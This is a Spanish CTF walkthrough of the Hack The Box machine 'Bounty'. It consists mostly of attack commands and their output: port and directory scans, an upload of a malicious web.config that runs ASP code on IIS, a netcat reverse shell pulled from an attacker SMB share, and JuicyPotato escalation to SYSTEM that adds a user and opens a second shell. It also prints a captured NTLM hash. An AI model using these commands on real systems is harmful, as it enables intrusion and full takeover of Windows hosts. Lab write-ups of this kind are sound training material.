Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.93 "
Procedemos con el siguiente escaneo de Nmap
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-24 20:34 CEST
Nmap scan report for 10.10.10.93
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Lanzamos un Whatweb
http://10.10.10.93: [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.93], Microsoft-IIS[7.5], Title[Bounty], X-Powered-By[ASP.NET]
Probamos a buscar directorios y archivos con la extension aspx a nivel HTTP con la herramienta Wfuzz
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000045227: 403 29 L 92 W 1233 Ch "http://10.10.10.93/uploadedFiles/"
000011308: 200 21 L 58 W 941 Ch "transfer - aspx"
Resulta que tenemos una subida de archivos en esta direccion transfe.aspx
Buscamos a nivel de exploits en IIS subida de archivos
https://www.ivoidwarranties.tech/posts/pentesting-tuts/iis/web-config/
Probamos a crearnos el archivo web.config
y ver si se sube correctamente.
# cat web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set ws = CreateObject("Wscript.Shell")
Set cmd = ws.Exec("cmd /c ping 10.10.16.21")
output = cmd.StdOut.Readall()
Respmse.write(output)
%>
-->
Vemos que se ejecuta el codigo ASP asique injectamos comandos por esta via para lanzarnos una Reverse-shell
Procedemos a apuntar al archivo web.config subido para que se ejecute y consigamos nuestra shell.
http://10.10.10.93/uploadedFiles/web.config
Vemos que nos lanza trazas ICMP correctamente:
# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:40:26.350666 IP 10.10.10.93 > 10.10.16.21: ICMP echo request, id 1, seq 5, length 40
00:40:26.350677 IP 10.10.16.21 > 10.10.10.93: ICMP echo reply, id 1, seq 5, length 40
00:40:27.355144 IP 10.10.10.93 > 10.10.16.21: ICMP echo request, id 1, seq 6, length 40
00:40:27.355153 IP 10.10.16.21 > 10.10.10.93: ICMP echo reply, id 1, seq 6, length 40
00:40:28.353879 IP 10.10.10.93 > 10.10.16.21: ICMP echo request, id 1, seq 7, length 40
00:40:28.353891 IP 10.10.16.21 > 10.10.10.93: ICMP echo reply, id 1, seq 7, length 40
00:40:29.352008 IP 10.10.10.93 > 10.10.16.21: ICMP echo request, id 1, seq 8, length 40
00:40:29.352017 IP 10.10.16.21 > 10.10.10.93: ICMP echo reply, id 1, seq 8, length 40
Modificamos el archivo web.config :
- Set cmd = ws.Exec("cmd /c \\10.10.16.241\smbFolder\nc.exe -e cmd 10.10.16.241 443")
Volvemos a subir el archivo y deberiamos estar compartiendo ya el servidor por smb para que al apuntar a la web, donde tenemos nuestro archivo se ejecute a nivel de sistema y nos envie un R-Shell.
Nos compartimos un servidor smb con soporte para smb2 para compartir el nc.exe
# impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.93,49157)
[*] AUTHENTICATE_MESSAGE (BOUNTY\merlin,BOUNTY)
[*] User BOUNTY\merlin authenticated successfully
[*] merlin::BOUNTY:aaaaaaaaaaaaaaaa:d40c193673f2b0da7b853d18b671f3fd:0101000000000000006cccfe8c99d701a1d26e489f272a4900000000010010004300410061006b0057004e0050004200030010004300410061006b0057004e005000420002001000410075004c006d00580071004300520004001000410075004c006d00580071004300520007000800006cccfe8c99d7010600040002000000080030003000000000000000000000000030000021110cdb1ba24e34970671d77c7e4de20ecfa3bb60fd6a95b6c2ced5c52ea3400a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310036002e00320034003100000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
Recibimos la conexion entrante correctamente:
# rlwrap nc -vlnp 443 1 ⚙
listening on [any] 443 ...
connect to [10.10.16.241] from (UNKNOWN) [10.10.10.93] 49158
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
bounty\merlin
Procedemos a sacar la flag de user.txt
Procedemos a enumerar un poco el sistema y vemos que tenemos el Privilegio de Impersonate
Procedemos a pasarnos el JuicyPôtato
Sintaxis para agregar un nuevo usuario a nivel de sistema.
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "\c net user pro pro123$! /add
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "\c net user pro pro123$! /add
Sintaxis para garantizar un recurso compartido llamado attackers_folder que este sincronizado con la ruta Windows\temp y le damos permisos para el grupo de administrados a FULL error la barra lila debe ser /
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "\c net share attacker_folder=C:\Windows\temp /GRANT:Administrators,FULL"
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "\c net share attacker_folder=C:\Windows\temp /GRANT:Administrators,FULL"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Nos pasamos en el directorio TEMP los recursos netcat y juicyPotato Procedemos a ponernos a la escucha para atraves del binario de JP.exe enviarnos una Rshell
Directory of c:\Windows\Temp
08/25/2021 02:07 PM <DIR> .
08/25/2021 02:07 PM <DIR> ..
05/30/2018 03:19 AM 0 DMI5FAC.tmp
08/25/2021 11:48 AM 347,648 JP.exe
08/25/2021 11:35 AM 59,392 nc.exe
06/10/2018 03:44 PM 203,777 vminst.log
06/10/2018 03:44 PM <DIR> vmware-SYSTEM
06/11/2018 12:47 AM 55,269 vmware-vmsvc.log
06/11/2018 12:47 AM 22,447 vmware-vmusr.log
08/25/2021 01:49 PM 910 vmware-vmvss.log
7 File(s) 689,443 bytes
3 Dir(s) 11,884,482,560 bytes free
Sintaxis para enviarnos una R-Shell y entrar como NT Authority\System
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd 10.10.16.241 443"
JP.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd 10.10.16.241 443"
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Windows\Temp>
Por aqui abajo nos habiamos puesto a la escucha por el puerto 443
# rlwrap nc -vlnp 443 130 ⨯
listening on [any] 443 ...
connect to [10.10.16.241] from (UNKNOWN) [10.10.10.93] 49179
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
Recibimos la conexion como nt authority\system
Sacamos la flag root.txt
Directory of C:\Users\Administrator\Desktop
05/31/2018 12:18 AM <DIR> .
05/31/2018 12:18 AM <DIR> ..
05/31/2018 12:18 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 11,884,220,416 bytes free
type root.txt
type root.txt
c837f7b699feef5475a0xxxxxxxxxxxxx